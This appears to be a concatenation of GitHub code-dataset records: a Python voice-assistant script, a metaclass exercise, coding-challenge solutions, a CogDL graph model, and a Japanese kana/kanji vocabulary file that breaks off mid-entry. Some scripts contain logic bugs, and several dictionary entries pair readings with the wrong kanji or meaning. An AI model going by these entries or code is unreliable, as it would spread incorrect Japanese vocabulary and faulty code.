engine.getProperty('voices')\n#print(voices[1].id) '''To get the list of voices present in your system '''\nengine.setProperty('voice',voices[1].id)\n\ndef speak(audio):\n engine.say(audio)\n engine.runAndWait()\n\n#speak(\"Hello everyone\")\n\ndef takecommand():\n r = sr.Recognizer()\n with sr.Microphone() as source:\n print(\"Listening...\")\n r.pause_threshold = 0.8\n audio = r.listen(source)\n\n try:\n print(\"Recognizing...\")\n query = r.recognize_google(audio,language=\"en-in\")\n print(f\"User said: {query}\\n\")\n\n except Exception as e:\n print(\"I am sorry , Please repeat it\")\n return \"None\"\n return query\n\ndef wishMe():\n hour = int(datetime.datetime.now().hour)\n if hour>=0 and hour<12:\n speak(\"Good Morning\")\n\n elif hour>=12 and hour<18:\n speak(\"Good Afternoon\")\n\n else:\n speak(\"Good evening\")\n\ndef weatherreport(city):\n weatherdetails = weathercom.getCityWeatherDetails(city)\n humidity = json.loads(weatherdetails)[\"vt1observation\"][\"humidity\"]\n temp = json.loads(weatherdetails)[\"vt1observation\"][\"temperature\"]\n pharse = json.loads(weatherdetails)[\"vt1observation\"][\"phrase\"]\n return humidity,temp,pharse\n\nif __name__ == '__main__':\n wishMe()\n speak(\"I am your Personal Assistant , How are you sir?\")\n while True:\n text = takecommand().lower()\n\n if \"what\" in text and \"about\" in text and \"you\" in text:\n speak(\"I am good sir, What can i do for you?\")\n\n elif \"time\" in text:\n curTime = datetime.datetime.now().strftime(\"%I :%M :%S %p\")\n # %H -hour\n # %M - minutes\n # %S - seconds\n # %I - hour (12hr)\n # %p - am or pm\n print(f\"The time is {curTime}\")\n speak(f\"The time is {curTime}\")\n\n elif \"date\" in text:\n curDate = datetime.datetime.now().strftime(\"%d:%B:%Y\")\n curDay = datetime.datetime.now().strftime(\"%A\")\n # %d - date\n # %B - month\n # %Y - year\n # %A - day\n print(f\"Today's date is {curDate} and it is {curDay}\")\n speak(f\"Today's date is {curDate} and it is {curDay}\")\n\n elif \"open\" and \"google\" in text:\n speak(\"Opening Google in your Browser\")\n webbrowser.open(url=\"https://google.com\")\n\n elif \"open\" and \"youtube\" in text:\n speak(\"Opening Youtube in your Browser\")\n webbrowser.open(url=\"https://youtube.com\")\n\n elif \"joke\" in text:\n J = pyjokes.get_joke('en','neutral')\n print(J)\n speak(J)\n\n elif \"fact\" in text:\n F = randfacts.getFact()\n print(F)\n speak(F)\n\n elif \"open\" in text and \"code\" in text:\n speak(\"Opening Visual Studio Code\")\n codePath = \"C:\\\\Users\\\\pvvha\\\\AppData\\\\Local\\\\Programs\\\\Microsoft VS Code\\\\Code.exe\" #Path of the application\n os.startfile(codePath)\n\n elif \"cpu stats\" in text:\n usage = str(psutil.cpu_percent())\n speak('CPU is at ' + usage)\n\n battery = psutil.sensors_battery()\n speak(\"Battery is at\")\n speak(battery.percent)\n\n elif \"according to wikipedia\" in text:\n speak(\"Searching in wikipedia...\")\n word = text.replace(\"wikipedia\",\"\")\n results = wikipedia.summary(word,sentences=2)\n speak(\"According to wikipedia\")\n print(results)\n speak(results)\n\n elif \"take\" in text and \"screenshot\" in text:\n img = pyautogui.screenshot()\n speak(\"Done sir , saving it.\")\n img.save('C:\\\\Users\\\\pvvha\\\\Desktop\\\\session\\\\perassist\\\\img.png')\n\n elif \"take notes\" in text:\n speak(\"What should i write sir?\")\n notes = takecommand()\n file = open('notes.txt','w')\n speak(\"Should i include date and time ?\")\n ans = takecommand()\n if \"yes\" or \"sure\" in ans:\n curTime = datetime.datetime.now().strftime(\"%I :%M :%S %p\")\n curDate = datetime.datetime.now().strftime(\"%d:%B:%Y\")\n file.write(curTime)\n file.write(curDate)\n file.write(':-')\n file.write(notes)\n speak(\"Done taking notes sir\")\n\n else:\n file.write(notes)\n speak(\"Done taking notes sir\")\n\n elif \"show notes\" in text:\n speak(\"Opening notes\")\n file = open('notes.txt','r')\n print(file.read())\n speak(file.read())\n\n elif \"news\" in text:\n api_address = \"https://newsapi.org/v2/top-headlines?country=in&apiKey=put your newsapi key here\"\n\n response = requests.get(api_address)\n news_json = json.loads(response.text)\n\n count = 3 #no of news articles\n print(\"Here are today's Top headlines\")\n speak(\"Here are today's Top headlines\")\n for news in news_json['articles']:\n if count >0:\n T = str(news['title'])\n print(T)\n speak(T)\n count -= 1\n\n elif \"weather\" in text:\n print(\"Sure sir, please name me the city\")\n speak(\"Sure sir, please name me the city\")\n city = takecommand()\n humidity , temp , phrase = weatherreport(city)\n print(\"Currently in \"+ city + \"the temperature is \"+str(temp)+\" degree celcius ,with humidity of \"\n + str(humidity) + \"percent and sky is \" + phrase)\n speak(\"Today's weather report : Currently in \"+ city + \"the temperature is \"+str(temp)+\" degree celcius ,with humidity of \"\n + str(humidity) + \"percent and sky is \" + phrase)\n\n elif \"information\" in text:\n speak(\"Please name the topic sir\")\n topic = takecommand()\n print(\"Searching {} in wikipedia\".format(topic))\n speak(\"Searching {} in wikipedia\".format(topic))\n assit = info()\n assit.get_info(topic)\n\n elif \"play\" in text and \"online\" in text:\n speak(\"What do you want me to play?\")\n title = takecommand()\n print(\"playing {} in youtube\".format(title))\n speak(\"playing {} in youtube\".format(title))\n bot = music()\n bot.play(title)\n\n elif \"go offline\" in text:\n speak(\"Going offline sir\")\n quit()\n","repo_name":"ISTE-VIT/automate.py","sub_path":"assist.py","file_name":"assist.py","file_ext":"py","file_size_in_byte":6899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"35694110572","text":"__author__ = 'AlexF'\n\nfrom LabWork2.code.model_creator_metaclass.field import Field\n\n\nclass ModelCreatorMeta(type):\n def __new__(mcs, name, parents, dct):\n field_prots = ModelCreatorMeta._extract_field_prototypes(dct)\n mcs._delete_field_prots(dct, field_prots)\n parents_field_prots = mcs._extract_parents_field_prototypes(parents)\n dct['fields_to_create'] = mcs._merge_field_prots_lists(parents_field_prots, field_prots)\n mcs._add_pre_init_logic(dct)\n return super(ModelCreatorMeta, mcs).__new__(mcs, name, parents, dct)\n\n def _extract_field_prototypes(classdict):\n return dict([(f_name, f_value)\n for f_name, f_value in classdict.items()\n if isinstance(f_value, Field)])\n\n def _extract_parents_field_prototypes(parents):\n parents_field_prots = {}\n for parent in reversed(parents):\n if 'fields_to_create' in parent.__dict__:\n parents_field_prots.update(parent.__dict__['fields_to_create'])\n return parents_field_prots\n\n def _delete_field_prots(dct, field_prots):\n [dct.pop(field_name) for field_name in field_prots.keys()]\n\n def _merge_field_prots_lists(fpl_1, fpl_2):\n for k, v in fpl_2.items():\n fpl_1[k] = v\n\n return fpl_1\n\n @classmethod\n def _add_pre_init_logic(mcs, dct: dict):\n if '__init__' in dct and callable(dct['__init__']):\n dct['__init__'] = mcs._pre_init_decorator(dct['__init__'], mcs._pre_init_logic)\n else:\n dct['__init__'] = mcs._pre_init_logic\n\n def _pre_init_decorator(func, pre_init_logic):\n def inner(self, *args, **kwargs):\n pre_init_logic(self, *args, **kwargs)\n init_arg_names = set(func.__code__.co_varnames)\n init_kwargs = dict([(name, value) for name, value in kwargs.items() if name in init_arg_names])\n func(self, *args, **init_kwargs)\n\n return inner\n\n def _pre_init_logic(self, *args, **kwargs):\n fields_to_create = self.fields_to_create\n\n for f_name, f_obj in fields_to_create.items():\n f_value = kwargs.get(f_name, None)\n self.__dict__[f_name] = f_obj.proceed_value(f_value)\n\n\nif __name__ == '__main__':\n from LabWork2.code.model_creator_metaclass.field import StringField, IntField\n\n\n class Foo(metaclass=ModelCreatorMeta):\n def __init__(self, name):\n self.name = name\n\n name = StringField('petia')\n\n\n class Bar(Foo):\n age = IntField()\n name = StringField('sasha')\n\n\n foo = Foo(name='hello')\n print(foo.__dict__)\n","repo_name":"AlexFridman/EHI","sub_path":"LabWork2/code/model_creator_metaclass/model_creator_metaclass.py","file_name":"model_creator_metaclass.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"38550850139","text":"from vk_api.keyboard import VkKeyboard, VkKeyboardColor\n\nfrom main import bot\n\nkeyboard = VkKeyboard(one_time=False)\nkeyboard.add_button('Начать поиск', color=VkKeyboardColor.PRIMARY)\nkeyboard.add_line()\nkeyboard.add_button('Далее', color=VkKeyboardColor.SECONDARY)\n\ndef sender(user_id, text):\n bot.vk.method('messages.send', {'user_id': user_id,\n 'message': text,\n 'random_id': 0,\n 'keyboard': keyboard.get_keyboard()})\n","repo_name":"MikhailI2024/VKinder","sub_path":"keyboard.py","file_name":"keyboard.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20600601181","text":"if __name__ == '__main__':\n N = int(input())\n arr = []\n for i in range(N):\n string = input()\n str_ar = string.strip().split(\" \")\n command = str_ar[0]\n if command == \"print\":\n print(arr)\n elif command == \"sort\":\n arr.sort()\n elif command == \"reverse\":\n arr.reverse()\n elif command == \"pop\":\n arr.pop()\n elif command == \"count\":\n val = int(str_ar[1])\n arr.count(val)\n elif command == \"index\":\n val = int(str_ar[1])\n arr.index(val)\n elif command == \"remove\":\n val = int(str_ar[1])\n arr.remove(val)\n elif command == \"append\":\n val = int(str_ar[1])\n arr.append(val)\n elif command == \"insert\":\n pos = int(str_ar[1])\n val = int(str_ar[2])\n arr.insert(pos, val)\n","repo_name":"MarkTLite/CodeBitsIntern","sub_path":"1.3_Python/11_Lists.py","file_name":"11_Lists.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72287924826","text":"# https://leetcode.com/problems/relative-sort-array/discuss/343445/Python3.-Actually-easy-to-understand.-Beats-75-on-speed-and-100-on-memory\n\nclass Solution:\n def relativeSortArray(self, arr1: List[int], arr2: List[int]) -> List[int]:\n\n dic = {}\n for elem in arr1:\n dic[elem] = arr1.count(elem)\n output = []\n for elem in arr2:\n output += [elem] * dic[elem]\n extra_output = []\n for elem in set(arr1) - set(arr2):\n extra_output += [elem] * dic[elem]\n return output + sorted(extra_output)","repo_name":"harvi7/Leetcode-Problems-Python","sub_path":"Array/relative_sort_array.py","file_name":"relative_sort_array.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"44879306378","text":"#!/usr/bin/env python3\n\nfrom typing import List\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n def mergeTwoLists(self, l1:ListNode, l2:ListNode) -> ListNode: \n if not (l1 and l2):\n return l1 or l2\n \n result = ListNode(None)\n pr = result\n p1 = l1\n p2 = l2\n while (p1 and p2):\n if p1.val < p2.val:\n pr.next = ListNode(p1.val)\n pr = pr.next\n p1 = p1.next\n else:\n pr.next = ListNode(p2.val)\n pr = pr.next\n p2 = p2.next\n while(p1):\n pr.next = ListNode(p1.val)\n pr = pr.next\n p1 = p1.next\n while(p2):\n pr.next = ListNode(p2.val)\n pr = pr.next\n p2 = p2.next\n return result.next \n\nif __name__ == \"__main__\":\n l1 = ListNode(1)\n l1.next = ListNode(2)\n l1.next.next = ListNode(4)\n\n l2 = ListNode(1)\n l2.next = ListNode(3)\n l2.next.next = ListNode(4)\n\n result = Solution().mergeTwoLists(l1, l2)\n temp = result\n while(temp):\n print(temp.val)\n temp = temp.next\n \n \n ","repo_name":"hwwwi/codingtest","sub_path":"leetcode/Merge_Two_Sorted_Lists/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23020603279","text":"\"\"\"\nThis script takes a lat/long coordinate and a date and returns the weather (specifically, whether it rained or not)\nfor the given day.\n\"\"\"\n\nimport requests\nimport json\n\n\ndef get_noaa_weather(lat, long, date, token):\n headers = {'token': token}\n\n url = 'https://www.ncdc.noaa.gov/cdo-web/api/v2/data?datasetid=GHCND'\n url = 'http://www.ncdc.noaa.gov/cdo-web/api/v2/datatypes'\n\n response = requests.get(url, headers=headers)\n response = response.json()\n response\n\n","repo_name":"jwllmnn/how_to","sub_path":"python/meteo_script/noaa_weather_api.py","file_name":"noaa_weather_api.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"14486981600","text":"import torch\n\nfrom .. import BaseModel\nfrom cogdl.utils import spmm\nfrom cogdl.layers import PPRGoLayer\n\n\nclass PPRGo(BaseModel):\n @staticmethod\n def add_args(parser):\n parser.add_argument(\"--hidden-size\", type=int, default=32)\n parser.add_argument(\"--num-layers\", type=int, default=2)\n parser.add_argument(\"--dropout\", type=float, default=0.1)\n parser.add_argument(\"--activation\", type=str, default=\"relu\")\n parser.add_argument(\"--nprop-inference\", type=int, default=2)\n parser.add_argument(\"--alpha\", type=float, default=0.5)\n\n @classmethod\n def build_model_from_args(cls, args):\n return cls(\n in_feats=args.num_features,\n hidden_size=args.hidden_size,\n out_feats=args.num_classes,\n num_layers=args.num_layers,\n alpha=args.alpha,\n dropout=args.dropout,\n activation=args.activation,\n nprop=args.nprop_inference,\n norm=args.norm if hasattr(args, \"norm\") else \"sym\",\n )\n\n def __init__(\n self, in_feats, hidden_size, out_feats, num_layers, alpha, dropout, activation=\"relu\", nprop=2, norm=\"sym\"\n ):\n super(PPRGo, self).__init__()\n self.alpha = alpha\n self.norm = norm\n self.nprop = nprop\n self.fc = PPRGoLayer(in_feats, hidden_size, out_feats, num_layers, dropout, activation)\n\n def forward(self, x, targets, ppr_scores):\n h = self.fc(x)\n h = ppr_scores.unsqueeze(1) * h\n batch_size = targets[-1] + 1\n out = torch.zeros(batch_size, h.shape[1]).to(x.device).to(x.dtype)\n out = out.scatter_add_(dim=0, index=targets[:, None].repeat(1, h.shape[1]), src=h)\n return out\n\n def predict(self, graph, batch_size=10000):\n device = next(self.parameters()).device\n x = graph.x\n num_nodes = x.shape[0]\n pred_logits = []\n with torch.no_grad():\n for i in range(0, num_nodes, batch_size):\n batch_x = x[i : i + batch_size].to(device)\n batch_logits = self.fc(batch_x)\n pred_logits.append(batch_logits.cpu())\n pred_logits = torch.cat(pred_logits, dim=0)\n pred_logits = pred_logits.to(device)\n\n with graph.local_graph():\n if self.norm == \"sym\":\n graph.sym_norm()\n elif self.norm == \"row\":\n graph.row_norm()\n else:\n raise NotImplementedError\n edge_weight = graph.edge_weight * (1 - self.alpha)\n\n graph.edge_weight = edge_weight\n predictions = pred_logits\n for _ in range(self.nprop):\n predictions = spmm(graph, predictions) + self.alpha * pred_logits\n return predictions\n","repo_name":"THUDM/CogDL","sub_path":"cogdl/models/nn/pprgo.py","file_name":"pprgo.py","file_ext":"py","file_size_in_byte":2767,"program_lang":"python","lang":"en","doc_type":"code","stars":1599,"dataset":"github-code","pt":"11"} +{"seq_id":"9764500995","text":"dict_data = [\n\t{\n\t\t'kana':'ああ',\n\t\t'romaji':'aa',\n\t\t'kanji':'嗚呼',\n\t\t'definition':\"Ah!;Oh!;Alas!\"\n\t},\n\n\t{\n\t\t'kana':'あばれる',\n\t\t'romaji':'abareru',\n\t\t'kanji':'暴れる',\n\t\t'definition':\"to act violently;to rage;to struggle;to be riotous\"\n\t},\n\n\t{\n\t\t'kana':'あべこべ',\n\t\t'romaji':'abekobe',\n\t\t'kanji':'',\n\t\t'definition':\"contrary;opposite;inverse\"\n\t},\n\n\t{\n\t\t'kana':'あびる',\n\t\t'romaji':'abiru',\n\t\t'kanji':'浴びる',\n\t\t'definition':\"to bathe;to bask in the sun;to shower\"\n\t},\n\n\t{\n\t\t'kana':'あぶない',\n\t\t'romaji':'abunai',\n\t\t'kanji':'危ない',\n\t\t'definition':\"dangerous;critical;grave;uncertain;unreliable;limping;narrow;close;watch out!\"\n\t},\n\n\t{\n\t\t'kana':'あぶら',\n\t\t'romaji':'abura',\n\t\t'kanji':'油',\n\t\t'definition':\"oil\"\n\t},\n\n\t{\n\t\t'kana':'あぶら',\n\t\t'romaji':'abura',\n\t\t'kanji':'油',\n\t\t'definition':\"oil\"\n\t},\n\n\t{\n\t\t'kana':'あぶらえ',\n\t\t'romaji':'aburae',\n\t\t'kanji':'油絵',\n\t\t'definition':\"oil painting\"\n\t},\n\n\t{\n\t\t'kana':'あぶる',\n\t\t'romaji':'aburu',\n\t\t'kanji':'炙る',\n\t\t'definition':\"to scorch\"\n\t},\n\n\t{\n\t\t'kana':'あっち',\n\t\t'romaji':'achi',\n\t\t'kanji':'',\n\t\t'definition':\"over there\"\n\t},\n\n\t{\n\t\t'kana':'あちこち',\n\t\t'romaji':'achikochi',\n\t\t'kanji':'彼方此方',\n\t\t'definition':\"here and there\"\n\t},\n\n\t{\n\t\t'kana':'あちら',\n\t\t'romaji':'achira',\n\t\t'kanji':'彼方',\n\t\t'definition':\"1. there;yonder;that\"\n\t},\n\n\t{\n\t\t'kana':'あちらこちら',\n\t\t'romaji':'achirakochira',\n\t\t'kanji':'彼方此方',\n\t\t'definition':\"here and there\"\n\t},\n\n\t{\n\t\t'kana':'あだびと',\n\t\t'romaji':'adabito',\n\t\t'kanji':'他人',\n\t\t'definition':\"another person;unrelated person;outsider;stranger\"\n\t},\n\n\t{\n\t\t'kana':'あえて',\n\t\t'romaji':'aete',\n\t\t'kanji':'敢えて',\n\t\t'definition':\"dare (to do);challenge (to do)\"\n\t},\n\n\t{\n\t\t'kana':'あふれる',\n\t\t'romaji':'afureru',\n\t\t'kanji':'溢れる',\n\t\t'definition':\"to flood;to overflow;to brim over\"\n\t},\n\n\t{\n\t\t'kana':'あがり',\n\t\t'romaji':'agari',\n\t\t'kanji':'上がり',\n\t\t'definition':\"1. slope;advance income;crop yield;ascent;rise;advance;death;spinning;completion;stop;finish;after (rain);ex (official etc.); 2. freshly-drawn green tea (esp. in sushi shops)\"\n\t},\n\n\t{\n\t\t'kana':'あがる',\n\t\t'romaji':'agaru',\n\t\t'kanji':'上がる',\n\t\t'definition':\"to enter;to go up;to rise;to climb up;to advance;to appreciate;to be promoted;to improve;to call on;to be offered;to accrue;to be finished;to come to (expenses);to go bankrupt;to begin spinning (cocoons);to be caught;to get ruffled;to eat;to drink;to die;\"\n\t},\n\n\t{\n\t\t'kana':'あげる',\n\t\t'romaji':'ageru',\n\t\t'kanji':'挙げる',\n\t\t'definition':\"to raise;to fly;to give (an example)\"\n\t},\n\n\t{\n\t\t'kana':'あげる',\n\t\t'romaji':'ageru',\n\t\t'kanji':'上げる',\n\t\t'definition':\"to give;to raise;to elevate;to fly (kites);to praise;to increase;to advance;to promote;to vomit;to usher in;to admit;to send (to school);to offer;to present;to leave with;to finish;to arrange (expenses);to observe;to perform;to quote;to mention;to bear (a\"\n\t},\n\n\t{\n\t\t'kana':'あご',\n\t\t'romaji':'ago',\n\t\t'kanji':'顎',\n\t\t'definition':\"chin\"\n\t},\n\n\t{\n\t\t'kana':'アフリカ',\n\t\t'romaji':'ahurika',\n\t\t'kanji':'',\n\t\t'definition':\"Africa\"\n\t},\n\n\t{\n\t\t'kana':'あい',\n\t\t'romaji':'ai',\n\t\t'kanji':'愛',\n\t\t'definition':\"love\"\n\t},\n\n\t{\n\t\t'kana':'あい',\n\t\t'romaji':'ai',\n\t\t'kanji':'相',\n\t\t'definition':\"together;mutually;fellow\"\n\t},\n\n\t{\n\t\t'kana':'あいだ',\n\t\t'romaji':'aida',\n\t\t'kanji':'間',\n\t\t'definition':\"space;interval\"\n\t},\n\n\t{\n\t\t'kana':'あいだ',\n\t\t'romaji':'aida',\n\t\t'kanji':'間',\n\t\t'definition':\"space;interval\"\n\t},\n\n\t{\n\t\t'kana':'あいだ',\n\t\t'romaji':'aida',\n\t\t'kanji':'間',\n\t\t'definition':\"space;interval\"\n\t},\n\n\t{\n\t\t'kana':'あいだがら',\n\t\t'romaji':'aidagara',\n\t\t'kanji':'間柄',\n\t\t'definition':\"relation(ship)\"\n\t},\n\n\t{\n\t\t'kana':'アイデア',\n\t\t'romaji':'aidea',\n\t\t'kanji':'',\n\t\t'definition':\"idea\"\n\t},\n\n\t{\n\t\t'kana':'あいじょう',\n\t\t'romaji':'aijyou',\n\t\t'kanji':'愛情',\n\t\t'definition':\"love;affection\"\n\t},\n\n\t{\n\t\t'kana':'あいかわらず',\n\t\t'romaji':'aikawarazu',\n\t\t'kanji':'相変わらず',\n\t\t'definition':\"as ever;as usual;the same\"\n\t},\n\n\t{\n\t\t'kana':'あいま',\n\t\t'romaji':'aima',\n\t\t'kanji':'合間',\n\t\t'definition':\"interval\"\n\t},\n\n\t{\n\t\t'kana':'あいまい',\n\t\t'romaji':'aimai',\n\t\t'kanji':'曖昧',\n\t\t'definition':\"vague;ambiguous\"\n\t},\n\n\t{\n\t\t'kana':'あいにく',\n\t\t'romaji':'ainiku',\n\t\t'kanji':'愛憎',\n\t\t'definition':\"likes and dislikes\"\n\t},\n\n\t{\n\t\t'kana':'アイロン',\n\t\t'romaji':'airon',\n\t\t'kanji':'',\n\t\t'definition':\"(electric) iron\"\n\t},\n\n\t{\n\t\t'kana':'あいさつ',\n\t\t'romaji':'aisatsu',\n\t\t'kanji':'挨拶',\n\t\t'definition':\"greeting;salutation\"\n\t},\n\n\t{\n\t\t'kana':'あいそ',\n\t\t'romaji':'aiso',\n\t\t'kanji':'愛想',\n\t\t'definition':\"civility;courtesy;compliments;sociability;graces\"\n\t},\n\n\t{\n\t\t'kana':'アイスクリーム',\n\t\t'romaji':'aisukuri-mu',\n\t\t'kanji':'',\n\t\t'definition':\"ice cream\"\n\t},\n\n\t{\n\t\t'kana':'あいする',\n\t\t'romaji':'aisuru',\n\t\t'kanji':'愛する',\n\t\t'definition':\"to love\"\n\t},\n\n\t{\n\t\t'kana':'あいたい',\n\t\t'romaji':'aitai',\n\t\t'kanji':'相対',\n\t\t'definition':\"confrontation;facing;between ourselves;no third party;tete-a-tete\"\n\t},\n\n\t{\n\t\t'kana':'あいて',\n\t\t'romaji':'aite',\n\t\t'kanji':'相手',\n\t\t'definition':\"companion;partner;company\"\n\t},\n\n\t{\n\t\t'kana':'あいず',\n\t\t'romaji':'aizu',\n\t\t'kanji':'合図',\n\t\t'definition':\"sign;signal\"\n\t},\n\n\t{\n\t\t'kana':'あじ',\n\t\t'romaji':'aji',\n\t\t'kanji':'味',\n\t\t'definition':\"flavor;taste\"\n\t},\n\n\t{\n\t\t'kana':'あじ',\n\t\t'romaji':'aji',\n\t\t'kanji':'味',\n\t\t'definition':\"flavor;taste\"\n\t},\n\n\t{\n\t\t'kana':'あじわい',\n\t\t'romaji':'ajiwai',\n\t\t'kanji':'味わい',\n\t\t'definition':\"flavour;meaning;significance\"\n\t},\n\n\t{\n\t\t'kana':'あじわう',\n\t\t'romaji':'ajiwau',\n\t\t'kanji':'味わう',\n\t\t'definition':\"to taste;to savor;to relish\"\n\t},\n\n\t{\n\t\t'kana':'あっか',\n\t\t'romaji':'aka',\n\t\t'kanji':'悪化',\n\t\t'definition':\"deterioration;growing worse;aggravation;degeneration;corruption\"\n\t},\n\n\t{\n\t\t'kana':'あか',\n\t\t'romaji':'aka',\n\t\t'kanji':'亜科',\n\t\t'definition':\"suborder;subfamily\"\n\t},\n\n\t{\n\t\t'kana':'あか',\n\t\t'romaji':'aka',\n\t\t'kanji':'垢',\n\t\t'definition':\"dirt;filth\"\n\t},\n\n\t{\n\t\t'kana':'あかちゃん',\n\t\t'romaji':'akachan',\n\t\t'kanji':'赤ちゃん',\n\t\t'definition':\"baby;infant\"\n\t},\n\n\t{\n\t\t'kana':'あかがね',\n\t\t'romaji':'akagane',\n\t\t'kanji':'銅',\n\t\t'definition':\"copper\"\n\t},\n\n\t{\n\t\t'kana':'あかい',\n\t\t'romaji':'akai',\n\t\t'kanji':'赤い',\n\t\t'definition':\"red\"\n\t},\n\n\t{\n\t\t'kana':'あかじ',\n\t\t'romaji':'akaji',\n\t\t'kanji':'赤字',\n\t\t'definition':\"deficit;go in the red\"\n\t},\n\n\t{\n\t\t'kana':'あかんぼう',\n\t\t'romaji':'akanbou',\n\t\t'kanji':'赤ん坊',\n\t\t'definition':\"baby\"\n\t},\n\n\t{\n\t\t'kana':'あからむ',\n\t\t'romaji':'akaramu',\n\t\t'kanji':'赤らむ',\n\t\t'definition':\"to become red;to redden;to blush\"\n\t},\n\n\t{\n\t\t'kana':'あからさま',\n\t\t'romaji':'akarasama',\n\t\t'kanji':'明白',\n\t\t'definition':\"obvious;overt;plainly;frankly\"\n\t},\n\n\t{\n\t\t'kana':'あかり',\n\t\t'romaji':'akari',\n\t\t'kanji':'明かり',\n\t\t'definition':\"lamplight;light (in general);brightness\"\n\t},\n\n\t{\n\t\t'kana':'あかるい',\n\t\t'romaji':'akarui',\n\t\t'kanji':'明るい',\n\t\t'definition':\"bright;cheerful\"\n\t},\n\n\t{\n\t\t'kana':'あかし',\n\t\t'romaji':'akashi',\n\t\t'kanji':'証',\n\t\t'definition':\"proof;evidence\"\n\t},\n\n\t{\n\t\t'kana':'あかす',\n\t\t'romaji':'akasu',\n\t\t'kanji':'明かす',\n\t\t'definition':\"to pass;spend;to reveal;to divulge\"\n\t},\n\n\t{\n\t\t'kana':'あけがた',\n\t\t'romaji':'akegata',\n\t\t'kanji':'明け方',\n\t\t'definition':\"dawn\"\n\t},\n\n\t{\n\t\t'kana':'あける',\n\t\t'romaji':'akeru',\n\t\t'kanji':'明ける',\n\t\t'definition':\"to dawn;to become daylight\"\n\t},\n\n\t{\n\t\t'kana':'あける',\n\t\t'romaji':'akeru',\n\t\t'kanji':'開ける',\n\t\t'definition':\"to open\"\n\t},\n\n\t{\n\t\t'kana':'あき',\n\t\t'romaji':'aki',\n\t\t'kanji':'空き',\n\t\t'definition':\"room;time to spare;emptiness;vacant\"\n\t},\n\n\t{\n\t\t'kana':'あき',\n\t\t'romaji':'aki',\n\t\t'kanji':'明き',\n\t\t'definition':\"room;time to spare;emptiness;vacant\"\n\t},\n\n\t{\n\t\t'kana':'あき',\n\t\t'romaji':'aki',\n\t\t'kanji':'秋',\n\t\t'definition':\"autumn;fall\"\n\t},\n\n\t{\n\t\t'kana':'あきま',\n\t\t'romaji':'akima',\n\t\t'kanji':'空間',\n\t\t'definition':\"vacancy;room for rent or lease\"\n\t},\n\n\t{\n\t\t'kana':'あきらか',\n\t\t'romaji':'akiraka',\n\t\t'kanji':'明らか',\n\t\t'definition':\"obvious;evident;clear;plain\"\n\t},\n\n\t{\n\t\t'kana':'あきらめ',\n\t\t'romaji':'akirame',\n\t\t'kanji':'諦め',\n\t\t'definition':\"resignation;acceptance;consolation\"\n\t},\n\n\t{\n\t\t'kana':'あきらめる',\n\t\t'romaji':'akirameru',\n\t\t'kanji':'諦める',\n\t\t'definition':\"to give up;to abandon\"\n\t},\n\n\t{\n\t\t'kana':'あきれる',\n\t\t'romaji':'akireru',\n\t\t'kanji':'呆れる',\n\t\t'definition':\"to be amazed;to be shocked\"\n\t},\n\n\t{\n\t\t'kana':'あきる',\n\t\t'romaji':'akiru',\n\t\t'kanji':'飽きる',\n\t\t'definition':\"to get tired of;to lose interest in;to have enough\"\n\t},\n\n\t{\n\t\t'kana':'あきうど',\n\t\t'romaji':'akiudo',\n\t\t'kanji':'商人',\n\t\t'definition':\"trader;shopkeeper;merchant\"\n\t},\n\n\t{\n\t\t'kana':'あっけない',\n\t\t'romaji':'akkenai',\n\t\t'kanji':'呆気ない',\n\t\t'definition':\"not enough;too quick (short long etc.)\"\n\t},\n\n\t{\n\t\t'kana':'あっこう',\n\t\t'romaji':'akkou',\n\t\t'kanji':'悪口',\n\t\t'definition':\"abuse;insult;slander;evil speaking\"\n\t},\n\n\t{\n\t\t'kana':'あこがれ',\n\t\t'romaji':'akogare',\n\t\t'kanji':'憧れ',\n\t\t'definition':\"yearning;longing;aspiration\"\n\t},\n\n\t{\n\t\t'kana':'あこがれる',\n\t\t'romaji':'akogareru',\n\t\t'kanji':'憧れる',\n\t\t'definition':\"to long for;to yearn after;to admire\"\n\t},\n\n\t{\n\t\t'kana':'あく',\n\t\t'romaji':'aku',\n\t\t'kanji':'灰',\n\t\t'definition':\"puckery juice\"\n\t},\n\n\t{\n\t\t'kana':'あく',\n\t\t'romaji':'aku',\n\t\t'kanji':'空く',\n\t\t'definition':\"to become empty;to be less crowded\"\n\t},\n\n\t{\n\t\t'kana':'あく',\n\t\t'romaji':'aku',\n\t\t'kanji':'空く',\n\t\t'definition':\"to become empty;to be less crowded\"\n\t},\n\n\t{\n\t\t'kana':'あく',\n\t\t'romaji':'aku',\n\t\t'kanji':'開く',\n\t\t'definition':\"to be open\"\n\t},\n\n\t{\n\t\t'kana':'あく',\n\t\t'romaji':'aku',\n\t\t'kanji':'悪',\n\t\t'definition':\"evil;wickedness\"\n\t},\n\n\t{\n\t\t'kana':'あくび',\n\t\t'romaji':'akubi',\n\t\t'kanji':'悪日',\n\t\t'definition':\"unlucky day\"\n\t},\n\n\t{\n\t\t'kana':'あくどい',\n\t\t'romaji':'akudoi',\n\t\t'kanji':'',\n\t\t'definition':\"1. gaudy;showy;excessive; 2. vicious\"\n\t},\n\n\t{\n\t\t'kana':'あくま',\n\t\t'romaji':'akuma',\n\t\t'kanji':'悪魔',\n\t\t'definition':\"devil;demon;fiend;Satan;evil spirit\"\n\t},\n\n\t{\n\t\t'kana':'あくまで',\n\t\t'romaji':'akumade',\n\t\t'kanji':'飽くまで',\n\t\t'definition':\"to the end;to the 